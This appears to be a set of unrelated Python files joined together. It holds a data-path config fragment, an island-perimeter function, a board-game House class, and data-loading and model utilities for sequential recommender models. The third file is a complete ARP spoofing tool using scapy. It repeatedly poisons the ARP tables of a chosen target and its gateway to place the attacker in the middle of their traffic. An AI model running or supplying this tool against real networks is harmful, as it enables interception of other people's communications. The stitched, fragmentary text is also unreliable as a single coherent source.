    data_path = 'toy_data/'
    index_file_list = ['test1_index_gene','test2_index_gene','test3_index_gene']
    index_file_list_full = [data_path + x for x in index_file_list]
    edge_file_list = ['test1_edge_list','test2_edge_list','test3_edge_list']
    edge_file_list_full = [data_path + x for x in edge_file_list]
    score_file = 'test_fdr.txt'
    score_file_full = data_path + score_file
    seed = 'TCGA'
    fdr_bound = 0.1


#!/usr/bin/python3
"""Island perimeter computing module.
"""

def island_perimeter(grid):
    """Computes the perimeter of an island with no lakes.
    """
    if not grid:
        return 0

    perimeter = 0
    rows, cols = len(grid), len(grid[0])

    for r in range(rows):
        for c in range(cols):
            if grid[r][c] == 1:
                # Start with the maximumperimeter for each land cell
                perimeter += 4

                # Check adjacent cells and subtract 1 for
                # each adjacent land cell
                if r > 0 and grid[r - 1][c] == 1:
                    perimeter -= 1
                if r < rows - 1 and grid[r + 1][c] == 1:
                    perimeter -= 1
                if c > 0 and grid[r][c - 1] == 1:
                    perimeter -= 1
                if c < cols - 1 and grid[r][c + 1] == 1:
                    perimeter -= 1

    return perimeter


from scapy.all import Ether, ARP, srp, send
import argparse
import time
import os
import sys
import argparse

parser = argparse.ArgumentParser(
    description="Tool to execute ARP spoofing"
)

parser.add_argument(
    "-s",
    "--server",
    dest="server",
    help="IP address of the gateway/DNS server",
    type=str,
)

parser.add_argument(
    "-t",
    "--target",
    dest="target",
    help="IP address of the target",
    type=str,
)

args = parser.parse_args()

if not args.server:
    print("DNS server required!")
    parser.print_help()
    sys.exit(1)

if not args.target:
    print("Target required!")
    parser.print_help()
    sys.exit(1)

# Ritorna il MAC Address di qualsiasi dispositivo connesso alla rete
def get_mac(ip):
    # Manda un pacchetto ARP in broadcast
    ans, _ = srp(Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(pdst=ip), timeout=3, verbose=0)
    if ans:
        return ans[0][1].src

# Fa spoofing indicando a target_ip di essere host_ip
def spoof(target_ip, host_ip, verbose=True):
    target_mac = get_mac(target_ip)

    # viene costruito un pacchetto ARP 'is-at' (una ARP reply)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, op='is-at')
    send(arp_response, verbose=0)

    if verbose:
        # Prende il MAC address dell'interfaccia di rete che si sta utilizzando
        self_mac = ARP().hwsrc
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, self_mac))

# Annulla le modifiche applicate alle ARP tables
def restore(target_ip, host_ip, verbose=True):
    target_mac = get_mac(target_ip)
    host_mac = get_mac(host_ip)
    arp_response = ARP(pdst=target_ip, hwdst=target_mac, psrc=host_ip, hwsrc=host_mac, op="is-at")

    # la risposta viene mandata tante volte per assicurarsi che tutto vada a buon fine (count=7)
    send(arp_response, verbose=0, count=7)
    if verbose:
        print("[+] Sent to {} : {} is-at {}".format(target_ip, host_ip, host_mac))

def main():
    target = args.target                    	# indirizzo IP della vittima
    gateway = args.server                      	# indirizzo IP del server DNS/gateway
    verbose = True
    try:
        while True:
            spoof(target, gateway, verbose)    # dico alla vittima che sono il gateway
            spoof(gateway, target, verbose)    # dico al gateway che sono la vittima

            time.sleep(3)
    except KeyboardInterrupt:
        print("[!] CTRL+C ! Restoring the ARP tables, please wait...")
        restore(target, gateway)
        restore(gateway, target)

if __name__ == "__main__":
    main()


import sys

sys.path.append('../../')
from my_python.exceptions import InvalidPlayerState
from my_python.contracts import house_contract
from my_python.Fence import Fence
from my_python.Same import Same
from my_python.Same import same_or_get_first

class House:
    # def __init__(self, inp_house, used_in_plan: bool, l_fence: Fence, r_fence: Fence):
    def __init__(self, **kwargs):
        """House constructor is responsible for validating only inp_house
        input."""
        ## ===================== Standard input ====================
        ### If these arguments are not specified, initialize values to valid
        ### placeholders. This is to pass the validators in the case that we
        ### are setting the class fields directly.
        inp_house = kwargs.get("inp_house", "blank")
        used_in_plan = kwargs.get("used_in_plan", False)
        l_fence = kwargs.get("l_fence", Fence(False))
        r_fence = kwargs.get("r_fence", Fence(False))
        if not house_contract(inp_house): raise InvalidPlayerState("Breaks House contract")
        ### Normal processing of standard inputs.
        self.is_roundabout = False
        self.is_bis = False
        self.num = -1  # self.num == -1 if house is not built
        self.is_built = False
        self.used_in_plan = used_in_plan
        self.l_fence: Fence = l_fence
        self.r_fence: Fence = r_fence
        if type(inp_house) == list:  # Case: House is a bis
            self.is_bis = True
            self.num = inp_house[0]
        elif type(inp_house) == int:  # Case: House is not a bis and built
            self.is_bis = False
            self.num = inp_house
        else:  # Case: Else, House is not built or is a roundabout
            if inp_house == "roundabout":
                self.is_roundabout = True
            self.is_bis = False
            self.num = -1
        self.is_built = self.num != -1
        ## Check: house cannot be built and used in plan
        self._check_built_used_in_plan()
        ## ===================== If class fields are specified, set them directly ====================
        try:
            self.is_bis = kwargs["d_is_bis"]
            self.num = kwargs["d_num"]  # self.num == -1 if house is not built
            self.is_built = kwargs["d_is_built"]
            self.used_in_plan = kwargs["d_used_in_plan"]
            self.l_fence = kwargs["d_l_fence"]
            self.r_fence = kwargs["d_r_fence"]
        except KeyError:
            pass

    def _check_built_used_in_plan(self) -> None:
        # Add first condition bc when subtracting, we initialize a PlayerState with fields that are Same,
        #   which fails the second condition of this if.
        if (not (type(self.is_built) == Same or type(self.used_in_plan) == Same)) \
                and (not self.is_built) and self.used_in_plan:
            raise InvalidPlayerState("House cannot be built and used in plan.")

    def __eq__(self, other):
        if type(other) == House:
            return self.is_bis == other.is_bis \
                   and self.num == other.num \
                   and self.is_built == other.is_built \
                   and self.used_in_plan == other.used_in_plan \
                   and self.l_fence == other.l_fence \
                   and self.r_fence == other.r_fence
        return False

    def __sub__(self, other):
        ret = House(d_is_bis=same_or_get_first(self.is_bis, other.is_bis),
                    d_num=same_or_get_first(self.num, other.num),
                    d_is_built=same_or_get_first(self.is_built, other.is_built),
                    d_used_in_plan=same_or_get_first(self.used_in_plan, other.used_in_plan),
                    d_l_fence=same_or_get_first(self.l_fence, other.l_fence),
                    d_r_fence=same_or_get_first(self.r_fence, other.r_fence))
        return ret

    def return_literal(self):
        if not self.is_built:
            if not self.is_roundabout:   # Not built and not roundabout
                return "blank"
            else:
                return "roundabout"
        elif not self.is_bis:           # House is built -> not a bis -> print normal house
            return self.num
        else:                           # House is built -> is a bis -> print bis house
            return [self.num, "bis"]

    def __str__(self):
        return str(self.return_literal())


import argparse
import os
import random
import shutil
import numpy as np
import torch

from torch.utils.data import DataLoader
from DNN import DNN
from Pop import Pop
from GRU4Rec import GRU4Rec
from MIND import MIND
from ComiRec import ComiRec_DR, ComiRec_SA
from REMI import REMI

def get_parser():

    parser = argparse.ArgumentParser()
    parser.add_argument('-p', type=str, default='train', help='train | test') # train or test or output
    parser.add_argument('--dataset', type=str, default='book', help='book | taobao') # 数据集
    parser.add_argument('--random_seed', type=int, default=2021)
    parser.add_argument('--hidden_size', type=int, default=64) # 隐藏层维度、嵌入维度
    parser.add_argument('--interest_num', type=int, default=4) # 兴趣的数量
    parser.add_argument('--model_type', type=str, default='MIND', help='DNN | GRU4Rec | MIND | ..') # 模型类型
    parser.add_argument('--learning_rate', type=float, default=0.001, help='learning_rate') # 学习率
    parser.add_argument('--lr_dc', type=float, default=0.1, help='learning rate decay rate')
    parser.add_argument('--lr_dc_step', type=int, default=30, help='(k), the number of steps after which the learning rate decay')
    parser.add_argument('--max_iter', type=int, default=1000, help='(k)') # 最大迭代次数，单位是k（1000）
    parser.add_argument('--patience', type=int, default=50) # patience，用于early stopping
    parser.add_argument('--topN', type=int, default=50) # default=50
    parser.add_argument('--gpu', type=str, default=None) # None -> cpu
    parser.add_argument('--coef', default=None) # 多样性，用于test
    parser.add_argument('--exp', default='e1')
    parser.add_argument('--add_pos', type=int, default=1)
    parser.add_argument('--dropout', type=float, default=0.2)
    parser.add_argument('--layers', type=int, default=1)
    parser.add_argument('--weight_decay', type=float, default=0)
    parser.add_argument('--sampled_n', type=int, default=1280)
    parser.add_argument('--sampled_loss', type=str, default='sampled')
    parser.add_argument('--sample_prob', type=int, default=0)

    # For REMI
    parser.add_argument('--rbeta', type=float, default=0)
    parser.add_argument('--rlambda', type=float, default=0)

    return parser

class DataIterator(torch.utils.data.IterableDataset):

    def __init__(self, source,
                 batch_size=128,
                 seq_len=100,
                 train_flag=1,
                 time_span = 128
                ):
        print("Using time span", time_span)
        self.read(source) # 读取数据，获取用户列表和对应的按时间戳排序的物品序列，每个用户对应一个物品list
        self.users = list(self.users) # 用户列表

        self.time_span = time_span
        self.batch_size = batch_size # 用于训练
        self.eval_batch_size = batch_size # 用于验证、测试
        self.train_flag = train_flag # train_flag=1表示训练
        self.seq_len = seq_len # 历史物品序列的最大长度
        self.index = 0 # 验证和测试时选择用户的位置的标记
        print("total user:", len(self.users))
        print("total items:", len(self.items))

    def __iter__(self):
        return self

    # def next(self):
    #     return self.__next__()

    def read(self, source):
        self.graph = {} # key:user_id，value:一个list，放着该user_id所有(item_id,time_stamp)元组，排序后value只保留item_id
        self.time_graph = {}
        self.users = set()
        self.items = set()
        self.times = set()
        with open(source, 'r') as f:
            for line in f:
                conts = line.strip().split(',')
                user_id = int(conts[0])
                item_id = int(conts[1])
                if len(conts) == 3:
                    time_stamp = int(conts[2])
                else:
                    idx = int(conts[2])
                    time_stamp = int(conts[3])
                self.users.add(user_id)
                self.items.add(item_id)
                self.times.add(time_stamp)
                if user_id not in self.graph:
                    self.graph[user_id] = []
                self.graph[user_id].append((item_id, time_stamp))
        for user_id, value in self.graph.items(): # 每个user的物品序列按时间戳排序
            value.sort(key=lambda x: x[1])
            time_list = list(map(lambda x: x[1], value))
            time_min = min(time_list)
            # self.graph[user_id] = list(map(lambda x: [x[0], ], items))
            self.graph[user_id] = [x[0] for x in value] # 排序后只保留了item_id
            self.time_graph[user_id] = [int(round((x[1] - time_min) / 86400.0) + 1) for x in value] # 排序后只保留了item_id
        self.users = list(self.users) # 用户列表
        self.items = list(self.items) # 物品列表

    def compute_time_matrix(self, time_seq, item_num):
        time_matrix = np.zeros([self.seq_len, self.seq_len], dtype=np.int32)
        for i in range(item_num):
            for j in range(item_num):
                span = abs(time_seq[i] - time_seq[j])
                if span > self.time_span:
                    time_matrix[i][j] = self.time_span
                else:
                    time_matrix[i][j] = span
        return time_matrix.tolist()

    def compute_adj_matrix(self, mask_seq, item_num):
        node_num = len(mask_seq)

        adj_matrix = np.zeros([node_num, node_num + 2], dtype=np.int32)

        adj_matrix[0][0] = 1
        adj_matrix[0][1] = 1
        adj_matrix[0][-1] = 1

        adj_matrix[item_num - 1][item_num - 1] = 1
        adj_matrix[item_num - 1][item_num] = 1
        adj_matrix[item_num - 1][-1] = 1

        for i in range(1, item_num - 1):
            adj_matrix[i][i] = 1
            adj_matrix[i][i + 1] = 1
            adj_matrix[i][-1] = 1

        if (item_num < node_num):
            for i in range(item_num, node_num):
                adj_matrix[i][0] = 1
                adj_matrix[i][1] = 1
                adj_matrix[i][-1] = 1

        return adj_matrix.tolist()

    def __next__(self):
        if self.train_flag == 1: # 训练
            user_id_list = random.sample(self.users, self.batch_size) # 随机抽取batch_size个user
        else: # 验证、测试，按顺序选取eval_batch_size个user，直到遍历完所有user
            total_user = len(self.users)
            if self.index >= total_user:
                self.index = 0
                raise StopIteration
            user_id_list = self.users[self.index: self.index+self.eval_batch_size]
            self.index += self.eval_batch_size

        item_id_list = []
        hist_time_list = []
        hist_item_list = []
        time_matrix_list = []
        hist_mask_list = []
        adj_matrix_list = []

        for user_id in user_id_list:
            item_list = self.graph[user_id] # 排序后的user的item序列
            time_list = self.time_graph[user_id] # 排序后的user的item序列
            # 这里训练和（验证、测试）采取了不同的数据选取方式
            if self.train_flag == 1: # 训练，选取训练时的label
                k = random.choice(range(4, len(item_list))) # 从[4,len(item_list))中随机选择一个index
                item_id_list.append(item_list[k]) # 该index对应的item加入item_id_list
            else: # 验证、测试，选取该user后20%的item用于验证、测试
                k = int(len(item_list) * 0.8)
                item_id_list.append(item_list[k:])
            # k前的item序列为历史item序列
            if k >= self.seq_len: # 选取seq_len个物品
                hist_item_list.append(item_list[k-self.seq_len: k])
                hist_mask_list.append([1.0] * self.seq_len)
                hist_time_list.append(time_list[k-self.seq_len: k])
                time_matrix_list.append(self.compute_time_matrix(time_list[k - self.seq_len: k], self.seq_len))
                adj_matrix_list.append(self.compute_adj_matrix([1.0] * self.seq_len, self.seq_len))

            else:
                hist_item_list.append(item_list[:k] + [0] * (self.seq_len - k))
                hist_mask_list.append([1.0] * k + [0.0] * (self.seq_len - k))
                hist_time_list.append(time_list[:k] + [0] * (self.seq_len - k))
                time_matrix_list.append(self.compute_time_matrix(time_list[:k] + [0] * (self.seq_len - k), k))
                adj_matrix_list.append(self.compute_adj_matrix([1.0] * k + [0.0] * (self.seq_len - k), k))

        # 返回用户列表（batch_size）、物品列表（label）（batch_size）、
        # 历史物品列表（batch_size，seq_len）、历史物品的mask列表（batch_size，seq_len）
        return user_id_list, item_id_list, hist_item_list, hist_mask_list, (time_matrix_list, adj_matrix_list)
        # return user_id_list, item_id_list, hist_item_list, hist_mask_list, hist_time_list

def get_DataLoader(source, batch_size, seq_len, train_flag=1, args=None):
    dataIterator = DataIterator(source, batch_size, seq_len, train_flag)
    return DataLoader(dataIterator, batch_size=None, batch_sampler=None)

def setup_seed(seed):
     torch.manual_seed(seed)
     torch.cuda.manual_seed_all(seed)
     np.random.seed(seed)
     random.seed(seed)
     torch.backends.cudnn.deterministic = True

# 获取模型
def get_model(dataset, model_type, item_count, batch_size, hidden_size, interest_num, seq_len, routing_times=3, args=None, device=None):
# def get_model(dataset, model_type, item_count, batch_size, hidden_size, interest_num, seq_len, beta, routing_times=3,):
    add_pos = True
    if args:
        add_pos = args.add_pos == 1
    if model_type == 'DNN':
        model = DNN(item_count, hidden_size, batch_size, seq_len)
    elif model_type == 'Pop':
        model = Pop(item_count, hidden_size, batch_size, seq_len, device)
    elif model_type == 'GRU4Rec':
        # todo check this back
        model = GRU4Rec(item_count, hidden_size, batch_size, seq_len, num_layers=args.layers, dropout=args.dropout)
    elif model_type == 'MIND':
        relu_layer = True if dataset == 'book' else False
        model = MIND(item_count, hidden_size, batch_size, interest_num, seq_len, routing_times=routing_times, relu_layer=relu_layer)
    elif model_type == 'ComiRec-DR':
        relu_layer = False
        hard_readout = False if dataset == 'kindle' else True
        model = ComiRec_DR(item_count, hidden_size, batch_size, interest_num, seq_len, routing_times=routing_times, relu_layer=relu_layer, hard_readout=hard_readout)
    elif model_type in ['ComiRec-SA']:
        # import pdb; pdb.set_trace()
        model = ComiRec_SA(item_count, hidden_size, batch_size, interest_num, seq_len, add_pos=add_pos, args = args, device = device)
    elif model_type == "REMI":
        model = REMI(item_count, hidden_size, batch_size, interest_num, seq_len, add_pos=add_pos, beta=args.rbeta,
                           args=args, device=device)
    else:
        print ("Invalid model_type : %s", model_type)
        return
    model.name = model_type
    return model

# 生成实验名称
def get_exp_name(dataset, model_type, batch_size, lr, hidden_size, seq_len, interest_num, topN, save=True, exp='e1'):
    extr_name = exp
    para_name = '_'.join([dataset, model_type, 'b'+str(batch_size), 'lr'+str(lr), 'd'+str(hidden_size),
                            'len'+str(seq_len), 'in'+str(interest_num), 'top'+str(topN)])
    exp_name = para_name + '_' + extr_name

    while os.path.exists('best_model/' + exp_name) and save:
        # flag = input('The exp name already exists. Do you want to cover? (y/n)')
        # if flag == 'y' or flag == 'Y':
        shutil.rmtree('best_model/' + exp_name)
        break
        # else:
        #     extr_name = input('Please input the experiment name: ')
        #     exp_name = para_name + '_' + extr_name

    return exp_name

def save_model(model, Path):
    if not os.path.exists(Path):
        os.makedirs(Path)
    torch.save(model.state_dict(), Path + 'model.pt')

def load_model(model, path):
    model.load_state_dict(torch.load(path + 'model.pt'))
    print('model loaded from %s' % path)

def to_tensor(var, device):
    var = torch.Tensor(var)
    var = var.to(device)
    return var.long()

# 读取物品类别信息，返回一个dict，key:item_id，value:cate_id
def load_item_cate(source):
    item_cate = {}
    with open(source, 'r') as f:
        for line in f:
            conts = line.strip().split(',')
            item_id = int(conts[0])
            cate_id = int(conts[1])
            item_cate[item_id] = cate_id
    return item_cate

# 计算物品多样性，item_list中的所有item两两计算
def compute_diversity(item_list, item_cate_map):
    n = len(item_list)
    diversity = 0.0
    for i in range(n):
        for j in range(i+1, n):
            diversity += item_cate_map[item_list[i]] != item_cate_map[item_list[j]]
    diversity /= ((n-1) * n / 2)
    return diversity